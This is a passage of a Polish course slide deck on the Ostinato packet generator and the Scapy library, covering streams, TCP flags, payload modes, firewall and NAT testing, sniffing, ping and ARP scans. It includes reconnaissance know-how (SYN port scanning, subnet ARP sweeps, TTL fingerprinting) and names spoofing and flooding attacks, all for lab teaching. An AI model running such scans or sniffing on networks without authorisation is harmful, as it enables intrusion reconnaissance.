Edytor warstw Ostinato to kluczowa funkcjonalność odróżniająca to narzędzie od prostszych generatorów. Każdy protokół jest reprezentowany jako osobna warstwa, którą można dodawać, usuwać i edytować. Warstwy układa się w stos zgodnie z modelem OSI – od warstwy 2 (Ethernet) przez warstwę 3 (IP) aż po warstwę 4 (TCP/UDP) i warstwę aplikacji (payload). Każda warstwa ma zestaw pól, które można edytować bezpośrednio w drzewiastej strukturze – wystarczy kliknąć dwukrotnie na pole, aby zmienić jego wartość. Nową warstwę dodaje się przez kliknięcie prawym przyciskiem myszy i wybranie Append Protocol, gdzie dostępna jest lista kilkudziesięciu protokołów. Edytor pokazuje również podgląd surowych danych (hex dump) w czasie rzeczywistym, co pomaga zrozumieć, jak zmiany w warstwach przekładają się na strukturę bitową pakietu.

25/60
Konfiguracja strumienia

Konfiguracja strumienia

Każdy strumień to seria pakietów o określonej strukturze.

W oknie Stream Editor ustawiasz:

  • Packet Template – wzorzec pakietu (warstwy)
  • Rate – szybkość generowania (bps, pps, % łącza)
  • Burst – liczba pakietów w serii
  • Inter-Packet Gap – odstęp między pakietami (ns/µs)
  • Duration – czas trwania lub liczba pakietów

Strumienie można włączać/wyłączać, klonować i grupować.

Rate limit w Ostinato jest bardzo dokładny – można ustawić 1000 pps z tolerancją < 1%.
Stream Editor z zaznaczonymi polami

Stream Editor w Ostinato to centralne miejsce konfiguracji parametrów wysyłania. Dla każdego strumienia definiuje się wzorzec pakietu (Packet Template), który określa strukturę warstw, a następnie parametry transmisji: szybkość (Rate), liczbę pakietów w serii (Burst), odstęp między pakietami (Inter-Packet Gap, IPG), czas trwania lub liczbę pakietów. Rate można ustawić w bitach na sekundę (bps), pakietach na sekundę (pps) lub jako procent przepustowości łącza. IPG mierzy się w nanosekundach lub mikrosekundach – im mniejszy IPG, tym wyższa chwilowa przepustowość. Burst pozwala na wysłanie określonej liczby pakietów jeden po drugim bez przerwy, co jest przydatne do testowania buforów przełączników. Strumienie można włączać i wyłączać niezależnie, klonować, grupować oraz ustawiać ich kolejność uruchamiania za pomocą osi czasu.

26/60
Adresacja w pakietach

Adresacja w pakietach

W warstwie Ethernet:

  • MAC źródłowy – adres nadawcy
  • MAC docelowy – adres odbiorcy (lub broadcast: FF:FF:FF:FF:FF:FF)

W warstwie IP:

  • IP źródłowy
  • IP docelowy

Adresy można ustawić jako:

  • Stałe – ten sam adres w każdym pakiecie
  • Inkrementujące – adres zwiększa się o 1 z każdym pakietem
  • Z listy – adresy z podanej puli (round-robin)
Opcje adresacji inkrementującej

Adresacja w pakietach generowanych przez Ostinato oferuje trzy tryby: stały, inkrementujący i z listy. Tryb stały (Fixed) jest najprostszy – każdy pakiet w strumieniu ma ten sam adres źródłowy i docelowy. Tryb inkrementujący (Incrementing) automatycznie zwiększa adres o 1 z każdym wysłanym pakietem, co jest przydatne przy testowaniu reguł firewalla dla całej podsieci – zamiast tworzyć osobny strumień dla każdego adresu, definiujemy jeden strumień z adresem startowym i maską. Tryb z listy (List) pozwala na podanie zbioru adresów, z których losowo lub sekwencyjnie wybierany jest adres dla każdego pakietu. Adresacja inkrementująca jest szczególnie przydatna w testach NAT – generujemy pakiety z różnych prywatnych adresów IP i sprawdzamy, czy firewall poprawnie transluje je na adres publiczny. Dla adresów MAC dostępne są te same trzy tryby konfiguracji.

27/60
Porty, flagi, opcje TCP

Porty, flagi, opcje TCP

W warstwie TCP można ustawić:

  • Port źródłowy i docelowy (stałe, inkrementujące, losowe)
  • Flag – SYN, ACK, FIN, RST, PSH, URG
  • Sequence number – stały lub inkrementujący
  • Window size – rozmiar okna TCP
  • Checksum – automatycznie obliczany

W warstwie UDP:

  • Port źródłowy i docelowy
  • Length – długość datagramu
Edytor warstwy TCP z flagami

Konfiguracja portów i flag w warstwie TCP Ostinato daje pełną kontrolę nad nagłówkiem TCP, co jest kluczowe przy testowaniu reguł firewalla i systemów IPS. Porty źródłowe i docelowe można ustawić jako stałe, inkrementujące lub losowe – tryb losowy jest przydatny przy symulacji ruchu sieciowego z wieloma równoczesnymi sesjami. Flag TCP (SYN, ACK, FIN, RST, PSH, URG, ECE, CWR) można dowolnie kombinować, co pozwala na generowanie pakietów inicjujących połączenie (SYN), zamykających (FIN), resetujących (RST) czy też sprawdzających zachowanie firewalla wobec niestandardowych kombinacji flag. Numer sekwencyjny (Sequence Number) można ustawić jako stały lub inkrementujący – ma to znaczenie przy testowaniu mechanizmów TCP sequence prediction. W warstwie UDP konfiguracja jest prostsza – porty źródłowe i docelowe oraz długość datagramu (Length), która może być wyliczana automatycznie.

28/60
Payload – różne tryby

Payload – różne tryby

Ostinato oferuje kilka trybów wypełniania danych:

  • Fixed pattern – stały wzorzec (np. same zer, same jedynki)
  • Incrementing – bajty zwiększające się (0x00, 0x01, 0x02...)
  • Decrementing – bajty zmniejszające się
  • Random – losowe dane (przydatne do testów kompresji/kryptografii)
  • User defined – dowolny ciąg hex

Długość payload: od 0 do 65535 B (dla TCP – ograniczenie MSS).

Wybór trybu payload z podglądem hex

Wybór trybu wypełniania danych (payload) w Ostinato ma znaczenie dla rodzaju przeprowadzanego testu. Tryb Fixed pattern ze stałym wzorcem (np. same zera lub 0xDEADBEEF) jest przydatny przy testowaniu integralności danych – po stronie odbiorczej można sprawdzić, czy payload dotarł bez modyfikacji. Tryb Incrementing, gdzie bajty zwiększają się sekwencyjnie od 0x00 do 0xFF, ułatwia wykrywanie błędów desynchronizacji w strumieniu. Tryb Random jest zalecany przy testach kompresji i kryptografii, ponieważ losowe dane nie podlegają kompresji i stanowią najgorszy przypadek wydajnościowy. User defined pozwala na wprowadzenie dowolnego ciągu szesnastkowego, co jest przydatne przy testowaniu specyficznych protokołów aplikacyjnych. Długość payload można dostosować do potrzeb – od 0 B (sam nagłówek) do 65535 B dla UDP, z ograniczeniem MSS dla TCP.

29/60
Wiele strumieni jednocześnie

Wiele strumieni jednocześnie

Ostinato pozwala definiować dowolną liczbę strumieni i uruchamiać je równocześnie.

Przykład: symulacja ruchu w sieci LAN:

  • Stream 1: HTTP (TCP port 80, payload z treścią HTML)
  • Stream 2: DNS (UDP port 53, zapytania do serwera)
  • Stream 3: VoIP (UDP, małe pakiety 160 B, stały interwał)
  • Stream 4: Skanowanie portów (TCP SYN na różne porty)

Każdy strumień ma własne ustawienia szybkości i priorytet.

Można też ustawić kolejność uruchamiania strumieni (timeline).

Lista strumieni z włącznikami i statystykami

Możliwość definiowania wielu strumieni jednocześnie w Ostinato pozwala na realistyczne symulowanie ruchu sieciowego w laboratorium. W rzeczywistej sieci jednocześnie przepływają pakiety różnych protokołów, od HTTP i DNS po VoIP i transmisje strumieniowe. Każdy strumień w Ostinato ma własną konfigurację warstw, szybkości i czasu trwania, co umożliwia stworzenie złożonego profilu ruchu. Strumienie można uruchamiać równocześnie lub sekwencyjnie z użyciem osi czasu (timeline). Dodatkowo można ustawić priorytety strumieni, co wpływa na kolejność wysyłania pakietów w przypadku rywalizacji o dostęp do interfejsu. Funkcjonalność ta jest szczególnie przydatna przy testowaniu mechanizmów QoS – generujemy jednocześnie ruch wysoko- i niskopriorytetowy i sprawdzamy, czy urządzenie odpowiednio priorytetyzuje pakiety zgodnie z konfiguracją.

30/60
Zaawansowana kontrola wysyłania

Zaawansowana kontrola wysyłania

  • Burst – wysłanie serii pakietów w krótkim czasie (np. 1000 pakietów w 1 ms). Przydatne do testów buforów.
  • Inter-Packet Gap (IPG) – odstęp między pakietami w nanosekundach. Wpływa na rzeczywistą przepustowość.
  • Rate Limit – maksymalna szybkość wysyłania (bps lub pps).

Przykład: test przepełnienia bufora – burst 10 000 pakietów, IPG 0.

# W GUI: Stream Editor → Burst → Packets per burst: 10000
# Inter-Packet Gap: 0 ns (back-to-back)
Burst z IPG=0 może wygenerować bardzo wysokie chwilowe obciążenie – uważaj na sprzęt!
Wykres burst vs steady stream

Zaawansowana kontrola wysyłania w Ostinato, obejmująca parametry Burst, IPG i Rate Limit, pozwala na precyzyjne kształtowanie ruchu testowego. Burst to liczba pakietów wysyłanych jedna po drugiej bez przerwy, co symuluje sytuację, w której wiele pakietów czeka w kolejce na wysłanie. Parametr ten ma kluczowe znaczenie przy testowaniu buforów przełączników i routerów – jeśli burst przekracza pojemność bufora, dochodzi do utraty pakietów (tail drop). Inter-Packet Gap (IPG) to odstęp między pakietami mierzony w nanosekundach – ustawienie IPG=0 powoduje wysyłanie pakietów back-to-back z maksymalną chwilową szybkością. Rate Limit pozwala na ograniczenie średniej szybkości wysyłania, co jest przydatne przy testowaniu mechanizmów kształtowania ruchu (traffic shaping). Należy zachować ostrożność przy testach z IPG=0 i wysokim Burst, ponieważ może to spowodować chwilowe przeciążenie interfejsu odbiorczego lub przepełnienie buforów.

31/60
Nasłuch i statystyki

Nasłuch i statystyki w Ostinato

Ostinato może działać w trybie nasłuchu (receive mode):

  • Przechwytuje pakiety odebrane na interfejsie
  • Wyświetla liczbę pakietów, bajtów, pps
  • Pokazuje histogram rozmiarów pakietów
  • Pokazuje wykres szybkości w czasie

Aby włączyć: port → Start Capture.

Statystyki można zresetować i wyeksportować do CSV.

Okno statystyk Ostinato

Tryb nasłuchu (Receive Mode) w Ostinato przekształca generator w analizator ruchu, umożliwiając odbiór i statystykę pakietów odebranych na interfejsie. Po włączeniu nasłuchu (Start Capture) Ostinato wyświetla w czasie rzeczywistym liczbę odebranych pakietów, bajtów, chwilową szybkość w pps i bps oraz histogram rozmiarów pakietów. Statystyki można w każdej chwili zresetować (Reset) i wyeksportować do pliku CSV do dalszej analizy w arkuszu kalkulacyjnym. Tryb nasłuchu jest szczególnie przydatny przy testach firewalla – na interfejsie po stronie wewnętrznej włączamy nasłuch i obserwujemy, które pakiety przeszły przez reguły filtrowania. W połączeniu z generatorem po stronie zewnętrznej otrzymujemy kompletne środowisko testowe, gdzie widzimy zarówno pakiety wysłane, jak i odebrane, co pozwala na precyzyjną diagnostykę reguł dostępu.

32/60
Pliki .ost – konfiguracja

Pliki .ost

Ostinato zapisuje konfigurację do plików .ost:

  • Wszystkie strumienie, warstwy, ustawienia
  • Wybrane porty i ich konfigurację
  • Możliwość wymiany konfiguracji między studentami
# Zapisz konfigurację
File → Save As → test.ost

# Wczytaj konfigurację
File → Open → test.ost

Plik .ost to XML – można go edytować ręcznie lub generować programowo.

Okno zapisu pliku .ost

Pliki konfiguracji Ostinato z rozszerzeniem .ost przechowują kompletną konfigurację sesji, w tym wszystkie strumienie, warstwy pakietów, skonfigurowane porty oraz ustawienia szybkości i czasu trwania. Format .ost oparty jest na XML, co umożliwia ręczną edycję pliku w edytorze tekstu oraz generowanie konfiguracji programowo za pomocą skryptów. W środowisku dydaktycznym prowadzący może przygotować plik .ost z gotowymi scenariuszami testowymi i udostępnić studentom – wystarczy wczytać plik (File → Open) i uruchomić strumienie. Umożliwia to szybkie przełączanie między różnymi konfiguracjami bez konieczności ręcznego definiowania warstw za każdym razem. Pliki .ost można również przechowywać w systemie kontroli wersji (Git), co ułatwia śledzenie zmian w konfiguracji testów i współpracę w zespole.

33/60
Testowanie reguł firewalla

Generowanie ruchu przez reguły firewalla

Scenariusz: test firewalla z regułami zezwalającymi/blokującymi ruch.

  1. Umieść firewall między generatorem a odbiornikiem
  2. W Ostinato utwórz strumienie: HTTP, DNS, ICMP, SSH
  3. Uruchom generowanie i obserwuj, które pakiety przechodzą
  4. Sprawdź logi firewalla – czy reguły działają poprawnie

Można też testować NAT – wysyłaj pakiety z prywatnych IP i sprawdzaj, czy są translowane.

Zaleta Ostinato: widzisz dokładnie, który pakiet został odrzucony.

Przy testowaniu firewalla generuj ruch z różnych IP źródłowych (inkrementacja) – sprawdzisz, czy reguły działają dla całej podsieci.
PC z Ostinato → Firewall → PC z Ostinato

Testowanie reguł firewalla z użyciem Ostinato to jedno z najczęstszych zastosowań tego narzędzia w praktyce inżynierskiej. Scenariusz polega na umieszczeniu zapory ogniowej między generatorem (strona zewnętrzna) a odbiornikiem (strona wewnętrzna) i sprawdzeniu, które pakiety przechodzą przez reguły filtrowania. Ostinato pozwala na precyzyjne określenie adresów IP źródłowych i docelowych, portów, protokołów i flag TCP, co umożliwia testowanie każdej reguły z osobna. Przy użyciu adresacji inkrementującej można w jednym teście sprawdzić, czy reguły działają dla całego zakresu adresów podsieci. Dodatkowo można testować translację NAT – wysyłamy pakiety z prywatnych adresów IP i obserwujemy, czy firewall poprawnie zamienia je na adres publiczny. Wyniki testów można zapisać w pliku .ost jako dokumentację przeprowadzonej walidacji, co jest wymagane przy audytach bezpieczeństwa.

34/60
Porównanie narzędzi

Porównanie narzędzi

CechaOstinatoScapyhping3
InterfejsGUICLI/Python APICLI
Łatwość użyciaWysokaŚrednia (wymaga Pythona)Średnia
ProtokołyEthernet, IP, TCP, UDP, wieleDowolne (programowalne)TCP, UDP, ICMP, raw IP
WydajnośćWysoka (C++)Niska (Python)Średnia
AutomatyzacjaPliki .ost, Drone APIPełna (Python)Skrypty bash
Odbiór ruchuTakTak (sniff)Ograniczony
Loga Ostinato, Scapy, hping3

Porównanie Ostinato, Scapy i hping3 pokazuje, że każde narzędzie ma optymalny obszar zastosowań. Ostinato wygrywa w kategoriach łatwości obsługi i wydajności – interfejs graficzny i implementacja w C++ sprawiają, że jest najlepszym wyborem dla początkujących i do szybkich testów w laboratorium. Scapy zapewnia największą elastyczność dzięki pełnej programowalności w Pythonie – można w kilku linijkach kodu zbudować skaner portów, narzędzie do ARP spoofingu czy symulator protokołu. hping3 jest najlżejszym i najszybszym narzędziem CLI do pojedynczych testów, idealnym do sprawdzenia reguły firewalla z poziomu terminala SSH. W praktyce inżynierskiej warto znać wszystkie trzy narzędzia i wybierać je w zależności od zadania: Ostinato do złożonych testów wielostrumieniowych, Scapy do prototypowania i automatyzacji, hping3 do szybkiej weryfikacji.

35/60
Czym jest Scapy?

Czym jest Scapy?

Scapy to potężna biblioteka Pythona do:

  • Generowania pakietów dowolnego typu
  • Wysyłania i odbierania pakietów
  • Sniffowania ruchu
  • Analizy protokołów
  • Skanowania sieci
  • Testów penetracyjnych w laboratorium

Strona: https://scapy.net/

Licencja: GPLv2.

Logo Scapy z kodem Pythona

Scapy to nie tylko generator pakietów, ale pełnoprawna platforma do manipulacji ruchem sieciowym, która zdobyła ogromną popularność w środowisku akademickim i wśród specjalistów ds. bezpieczeństwa. Napisana w Pythonie przez Philippe'a Biona, Scapy umożliwia tworzenie, wysyłanie, odbieranie i analizowanie pakietów dowolnego typu bez konieczności pisania niskopoziomowego kodu w C. Biblioteka obsługuje kilkaset protokołów sieciowych – od najpopularniejszych (Ethernet, IP, TCP, UDP) po niszowe (IS-IS, MPLS, STP, BGP). Scapy jest często wykorzystywana w kursach bezpieczeństwa sieciowego do demonstracji ataków (ARP spoofing, SYN flood, DNS amplification) oraz w narzędziach takich jak Nmap (skrypty NSE mogą używać Scapy). Jej główną zaletą jest możliwość szybkiego prototypowania – to, co w C zajęłoby setki linijek kodu, w Scapy można zrealizować w kilkunastu.

36/60
Instalacja biblioteki Scapy

pip install scapy

# Instalacja z pip
pip install scapy

# Linux – wymaga uprawnień do raw sockets
sudo pip install scapy

# Windows – wymaga Npcap
# Pobierz i zainstaluj Npcap z https://npcap.com/
pip install scapy

# Sprawdzenie instalacji
python -c "from scapy.all import *; print('OK')"

Wymagane uprawnienia administratora/root do wysyłania surowych pakietów.

Terminal z instalacją Scapy

Instalacja Scapy jest prosta i standardowa dla bibliotek Pythona, ale wymaga spełnienia kilku warunków wstępnych w zależności od systemu operacyjnego. Na Linux instalacja przez pip wymaga uprawnień root, ponieważ wysyłanie surowych pakietów wymaga dostępu do gniazda AF_PACKET. Na Windows niezbędny jest sterownik Npcap (nie WinPcap), który zapewnia obsługę przechwytywania pakietów w trybie użytkownika – Npcap można pobrać ze strony npcap.com. Po zainstalowaniu Npcap Scapy działa w trybie Administrator (Run as Administrator). W przypadku problemów z instalacją na Windows warto sprawdzić, czy Python i pip są w jednej architekturze (32-bit lub 64-bit) oraz czy zmienna PATH zawiera ścieżkę do katalogu Scripts. Komenda python -c "from scapy.all import *; print('OK')" pozwala zweryfikować poprawność instalacji. Jeśli import kończy się błędem, należy sprawdzić komunikaty o brakujących zależnościach, takich jak pycryptodome czy matplotlib.

37/60
Tryb interaktywny Scapy

Tryb interaktywny i biblioteczny

Tryb interaktywny (REPL):

sudo scapy
>>>

Jako biblioteka w skrypcie Python:

#!/usr/bin/env python3
from scapy.all import *

W trybie interaktywnym wszystkie komendy Scapy są dostępne od razu.

Autouzupełnianie przez Tab – bardzo pomocne.

Konsola Scapy z przykładowym pakietem

Tryb interaktywny Scapy (REPL) to doskonałe narzędzie do nauki i eksperymentowania z protokołami sieciowymi. Po uruchomieniu sudo scapy użytkownik otrzymuje konsolę Pythona z zaimportowanymi wszystkimi klasami Scapy, co pozwala na natychmiastowe tworzenie pakietów. Autouzupełnianie przez Tab znacząco przyspiesza pracę – wystarczy wpisać IP( i nacisnąć Tab, aby zobaczyć listę dostępnych parametrów. W trybie interaktywnym można testować komendy przed włączeniem ich do skryptu, co jest zgodne z metodyką prób i błędów. Funkcja ls() wyświetla listę dostępnych warstw protokołów, a lsc() listę dostępnych komend Scapy. Metoda .show() na utworzonym pakiecie wyświetla jego strukturę z wartościami domyślnymi, co pomaga zrozumieć, jakie pola ma dany protokół. Tryb interaktywny jest szczególnie polecany studentom rozpoczynającym przygodę z Scapy, ponieważ umożliwia natychmiastową informację zwrotną.

38/60
Klasy IP, TCP, UDP, Ether

IP(), TCP(), UDP(), Ether()

Każdy protokół to osobna klasa. Pakiety składa się operatorem / (składanie warstw):

# Pakiet IP
pkt = IP(dst="192.168.1.1")
pkt.show()

# Pakiet TCP
pkt = TCP(dport=80, flags="S")

# Pakiet UDP
pkt = UDP(dport=53)

# Ramka Ethernet
pkt = Ether(dst="ff:ff:ff:ff:ff:ff")

Operator / łączy warstwy: Ether()/IP()/TCP()/"payload".

Schemat: Ether / IP / TCP / Payload

Klasy protokołów w Scapy (IP, TCP, UDP, Ether) są fundamentem, na którym opiera się cała biblioteka. Każda klasa odpowiada jednemu protokołowi i zawiera definicje wszystkich jego pól wraz z wartościami domyślnymi. Operator / (slash) służy do składania warstw w stos – na przykład Ether()/IP()/TCP() tworzy kompletny pakiet z ramką Ethernet, nagłówkiem IP i nagłówkiem TCP. Scapy automatycznie oblicza długości, sumy kontrolne (checksum) i inne pola zależne od wartości niższych warstw. Parametry klas można ustawić przez nazwę – na przykład IP(dst="8.8.8.8", ttl=64) lub TCP(dport=80, flags="S"). Wartości domyślne są rozsądne (broadcast MAC, losowy adres źródłowy), ale w praktyce zawsze należy jawnie ustawić adres docelowy. Każda klasa oferuje metodę show(), która wyświetla strukturę pakietu, oraz summary() do zwięzłego opisu.

39/60
Przykład złożonego pakietu

Przykład złożonego pakietu

from scapy.all import *

# Pakiet HTTP GET (warstwy: Ether/IP/TCP/HTTP)
pkt = Ether() / IP(dst="93.184.216.34") / TCP(dport=80, flags="A") / "GET / HTTP/1.1\r\nHost: example.com\r\n\r\n"

pkt.show()

Wynik:

###[ Ethernet ]###
  dst = ff:ff:ff:ff:ff:ff
  src = 00:11:22:33:44:55
  type = 0x800
###[ IP ]###
  dst = 93.184.216.34
###[ TCP ]###
  dport = 80
  flags = A
###[ Raw ]###
  load = 'GET / HTTP/1.1...'
Konsola Scapy z pkt.show()

Przykład złożonego pakietu pokazuje, jak w kilku linijkach Pythona można zbudować realistyczne zapytanie HTTP GET i wyświetlić jego strukturę. Operator / łączy warstwę Ethernet (z domyślnymi adresami MAC), warstwę IP z docelowym adresem 93.184.216.34 (example.com), warstwę TCP z portem docelowym 80 i flagą ACK (A) oraz surowy payload z treścią żądania HTTP. Scapy automatycznie obliczy długość nagłówka IP, długość całego pakietu, sumę kontrolną IP oraz sumę kontrolną TCP. Metoda show() wyświetla wszystkie pola każdej warstwy, w tym wartości wyliczone automatycznie (np. chksum). Jest to doskonały sposób na zrozumienie struktury pakietów – student widzi, jak poszczególne warstwy nakładają się na siebie i jakie pola są wypełniane automatycznie. W praktyce zamiast ręcznego budowania pakietów HTTP można użyć warstwy HTTP.Request, która jest dostępna w nowszych wersjach Scapy.

40/60
send() i sendp() w Scapy

send() i sendp()

send(pkt) – wysyła pakiet na warstwie 3 (IP). Wymaga routingu.

pkt = IP(dst="192.168.1.1")/ICMP()
send(pkt)

sendp(pkt) – wysyła na warstwie 2 (Ethernet). Wymaga interfejsu.

pkt = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.1.1")
sendp(pkt, iface="eth0")

Parametry:

  • iface – interfejs sieciowy
  • count – liczba pakietów
  • inter – odstęp między pakietami (s)
Schemat warstw: send (L3) i sendp (L2)

Funkcje send() i sendp() w Scapy różnią się warstwą, na której wysyłają pakiety. send(pkt) działa na warstwie 3 (IP) – oznacza to, że pakiet przekazywany jest do stosu sieciowego systemu operacyjnego, który zajmuje się routingiem, czyli wyborem odpowiedniego interfejsu i enkapsulacją w ramkę Ethernet. send(pkt) nie pozwala na kontrolę nad adresami MAC ani nad wyborem interfejsu – routing odbywa się automatycznie na podstawie tablicy routingu. sendp(pkt) działa na warstwie 2 (Ethernet) – wysyła surową ramkę bezpośrednio na wskazany interfejs, z pominięciem stosu sieciowego. Wymaga podania parametru iface, który określa interfejs sieciowy. sendp() jest niezbędna przy testach ARP, DHCP (ponieważ te protokoły działają przed uzyskaniem adresu IP) oraz wszędzie tam, gdzie potrzebujemy pełnej kontroli nad adresami MAC. Parametry count i inter pozwalają na wysłanie wielu pakietów z zadanym odstępem czasowym.

41/60
Sniffowanie pakietów Scapy

Sniffowanie pakietów

# Przechwyć 10 pakietów
pkts = sniff(count=10)
pkts.summary()

# Sniff z filtrem BPF
pkts = sniff(filter="port 80", count=20)

# Sniff z timeoutem
pkts = sniff(timeout=10)

Funkcja zwraca listę pakietów (obiekt PacketList).

Można dodać callback (prm) – funkcję wywoływaną dla każdego pakietu:

def handle_pkt(pkt):
    print(pkt.summary())

sniff(prn=handle_pkt, count=5)
Konsola z przechwyconymi pakietami

Sniffowanie pakietów w Scapy odbywa się za pomocą funkcji sniff(), która przechwytuje pakiety z interfejsu sieciowego i zwraca je jako obiekt PacketList. Parametr count określa liczbę pakietów do przechwycenia – po osiągnięciu tej liczby funkcja kończy działanie. Parametr timeout pozwala na ograniczenie czasu nasłuchu. Filtr BPF (Berkeley Packet Filter) umożliwia zawężenie przechwytywania do pakietów spełniających określone kryteria, na przykład filter="tcp port 80" przechwyci tylko pakiety TCP na porcie 80. Funkcja callback (parametr prn) pozwala na wykonanie własnej funkcji dla każdego przechwyconego pakietu w czasie rzeczywistym, bez czekania na zakończenie sniffowania. Jest to przydatne przy monitorowaniu ruchu na żywo i generowaniu alertów. Sniffowanie w Scapy wymaga uprawnień administratora lub root, ponieważ wymaga dostępu do surowych gniazd (raw sockets).

42/60
Wysyłanie i oczekiwanie

Wysyłanie i oczekiwanie na odpowiedź

sr(pkt, timeout=2) – wysyła pakiet i czeka na wszystkie odpowiedzi.

ans, unans = sr(IP(dst="8.8.8.8")/ICMP(), timeout=2)
ans.summary()

Zwraca krotkę:

  • ans – lista par (wysłany, odpowiedź)
  • unans – lista pakietów bez odpowiedzi

sr1(pkt) – wysyła i zwraca tylko pierwszą odpowiedź.

reply = sr1(IP(dst="8.8.8.8")/ICMP(), timeout=2)
if reply:
    print(reply.summary())
Schemat ping i odpowiedź ICMP

Funkcje sr() i sr1() w Scapy realizują wzorzec wysyłania i oczekiwania na odpowiedź, który jest fundamentem wielu narzędzi sieciowych, takich jak ping czy traceroute. Funkcja sr(pkt, timeout=2) wysyła pakiet i oczekuje na wszystkie odpowiedzi w zadanym czasie. Zwraca krotkę (answered, unanswered), gdzie answered to lista par (pakiet wysłany, pakiet odebrany), a unanswered to lista pakietów, na które nie otrzymano odpowiedzi. Funkcja sr1(pkt, timeout=2) działa podobnie, ale zwraca tylko pierwszą odebraną odpowiedź, co jest wygodne, gdy spodziewamy się dokładnie jednej odpowiedzi (jak w przypadku ping). Parametr verbose=0 wyłącza wyświetlanie komunikatów postępu, co jest przydatne w skryptach. Funkcje sr() i sr1() są implementacją synchroniczną – program czeka na odpowiedź i blokuje dalsze wykonanie. Dla zastosowań asynchronicznych Scapy oferuje funkcje srloop() oraz async sniffer.

43/60
Funkcja sr1() w praktyce

sr1() w praktyce

# Wyślij ping i sprawdź odpowiedź
reply = sr1(IP(dst="8.8.8.8")/ICMP(), timeout=3, verbose=0)

if reply:
    print(f"Odpowiedź: {reply.src}")
    print(f"TTL: {reply.ttl}")
else:
    print("Brak odpowiedzi")

Wynik:

Odpowiedź: 8.8.8.8
TTL: 118

sr1() przydatne do:

  • Szybkiego sprawdzenia, czy host odpowiada
  • Testowania reguł firewalla
  • Identyfikacji systemu (TTL fingerprinting)
Konsola z wynikiem sr1()

Przykład użycia sr1() w praktyce pokazuje, jak w kilku linijkach Pythona zaimplementować funkcję ping z odczytem TTL (Time To Live). Wysyłamy pakiet ICMP Echo Request do hosta 8.8.8.8 i czekamy na odpowiedź maksymalnie 3 sekundy. Jeśli odpowiedź nadejdzie, odczytujemy adres źródłowy odpowiadającego hosta (reply.src) oraz wartość TTL (reply.ttl). Wartość TTL jest użyteczna do identyfikacji systemu operacyjnego – domyślne TTL dla Linux to 64, dla Windows 128, dla routerów Cisco 255. Funkcja ta może być rozszerzona o obsługę wielu hostów, zapis wyników do pliku CSV oraz wizualizację czasu odpowiedzi. W skryptach monitorujących sr1() jest często używana w pętli do cyklicznego sprawdzania dostępności serwerów. Należy pamiętać o odpowiednio dobranym timeout – zbyt krótki spowoduje fałszywe negatywy, zbyt długi spowolni działanie skryptu.

44/60
Pętla wysyłania Scapy

Pętla wysyłania i odbierania

srloop(pkt, count=5, inter=1) – wysyła pakiet wielokrotnie i zbiera odpowiedzi.

# Wyślij 5 pingów, co 1 sekundę
srloop(IP(dst="8.8.8.8")/ICMP(), count=5, inter=1, timeout=2)

Wynik:

RECV 1: 8.8.8.8 > 192.168.1.100 icmp echo-reply
RECV 2: 8.8.8.8 > 192.168.1.100 icmp echo-reply
...
Sent 5 packets, received 5 answers (100.0%)

Przydatne do monitorowania dostępności hosta w czasie.

Wykres czasu odpowiedzi z srloop

Funkcja srloop() w Scapy to wygodny sposób na prowadzenie ciągłych pomiarów czasu odpowiedzi, analogicznie do działania narzędzia ping w systemie Linux. srloop() wysyła pakiet wielokrotnie z zadanym odstępem czasu i zbiera odpowiedzi, wyświetlając statystyki w czasie rzeczywistym. Parametry count określa liczbę wysłanych pakietów, inter odstęp w sekundach, a timeout maksymalny czas oczekiwania na odpowiedź. Po zakończeniu pętli srloop() wyświetla podsumowanie: liczbę wysłanych pakietów, odebranych odpowiedzi oraz procentową skuteczność. Funkcja ta jest przydatna do monitorowania jakości łącza w czasie – można uruchomić ją w tle na kilka minut i obserwować zmiany opóźnienia i utraty pakietów. W odróżnieniu od systemowego ping, srloop() pozwala na pełną kontrolę nad strukturą wysyłanego pakietu, co umożliwia testowanie zachowania firewalla dla różnych typów pakietów ICMP.

45/60
ARP w Scapy

ARP w Scapy

# ARP request – kto ma 192.168.1.1?
arp_req = ARP(pdst="192.168.1.1")
reply = sr1(arp_req, timeout=2, verbose=0)

if reply:
    print(f"MAC: {reply.hwsrc}")

# ARP broadcast – skanowanie całej sieci
arp_req = ARP(pdst="192.168.1.0/24")
ans, unans = sr(arp_req, timeout=2, verbose=0)
for sent, received in ans:
    print(f"{received.psrc} – {received.hwsrc}")

To jest odpowiednik arp-scan w kilku linijkach Pythona.

Tabela wyników skanowania ARP

Generowanie zapytań ARP w Scapy to doskonały przykład praktycznego wykorzystania biblioteki do skanowania sieci lokalnej. Klasa ARP reprezentuje protokół ARP (Address Resolution Protocol) z polami takimi jak pdst (docelowy adres IP), hwdst (docelowy adres MAC), psrc (źródłowy adres IP) i hwsrc (źródłowy adres MAC). Wysyłając zapytanie ARP do pojedynczego hosta, otrzymujemy w odpowiedzi jego adres MAC – jest to odpowiednik polecenia arp -a. Skanowanie całej podsieci (/24) za pomocą sr() wysyła zapytania ARP do wszystkich 254 adresów i zbiera odpowiedzi, co pozwala na szybkie zmapowanie wszystkich aktywnych urządzeń w sieci LAN. Ta technika jest wykorzystywana przez narzędzia takie jak arp-scan i Nmap (opcja -PR). W laboratorium dydaktycznym skanowanie ARP z Scapy służy do demonstracji, jak działa protokół ARP i jak łatwo można zautomatyzować skanowanie sieci.

46/60
Ping w Scapy

Ping w Scapy

# Pojedynczy ping
pkt = IP(dst="8.8.8.8")/ICMP()
reply = sr1(pkt, timeout=2, verbose=0)

if reply:
    print(f"{reply.src} odpowiada")

# Ping z własnym payloadem
pkt = IP(dst="8.8.8.8")/ICMP()/"Test payload"
reply = sr1(pkt, timeout=2, verbose=0)
if reply:
    print(f"Payload w odpowiedzi: {reply.load}")

ICMP type: 8 (echo request), 0 (echo reply).

Schemat ping request/reply

Implementacja ping w Scapy pokazuje, jak w kilku linijkach kodu odtworzyć działanie klasycznego narzędzia diagnostycznego. Wysłanie pakietu ICMP type 8 (Echo Request) i odebranie odpowiedzi type 0 (Echo Reply) to podstawa testowania łączności IP. Scapy pozwala na dodanie własnego payloadu do pakietu ICMP, co może być przydatne do testowania firewalla – niektóre zapory blokują pakiety ICMP z niestandardowym payloadem. W odróżnieniu od systemowego ping, implementacja w Scapy daje pełną kontrolę nad wszystkimi polami pakietu ICMP: typem, kodem, identyfikatorem i numerem sekwencyjnym. Można również zmieniać wartości pól IP (TTL, DSCP, pole fragmentacji) i obserwować, jak wpływają na odpowiedź. Ping w Scapy jest często używany jako pierwszy krok w nauce biblioteki, ponieważ łączy w sobie tworzenie pakietów, wysyłanie i odbieranie – trzy fundamentalne operacje Scapy.

47/60
